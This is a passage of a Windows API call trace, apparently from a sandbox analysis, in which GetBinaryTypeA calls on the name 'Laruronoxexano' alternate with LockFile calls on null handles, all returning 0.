returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.531] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.531] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.532] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.532] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.533] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.533] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.534] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.534] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.535] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.535] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.536] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.536] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.537] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.537] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.538] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.538] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: 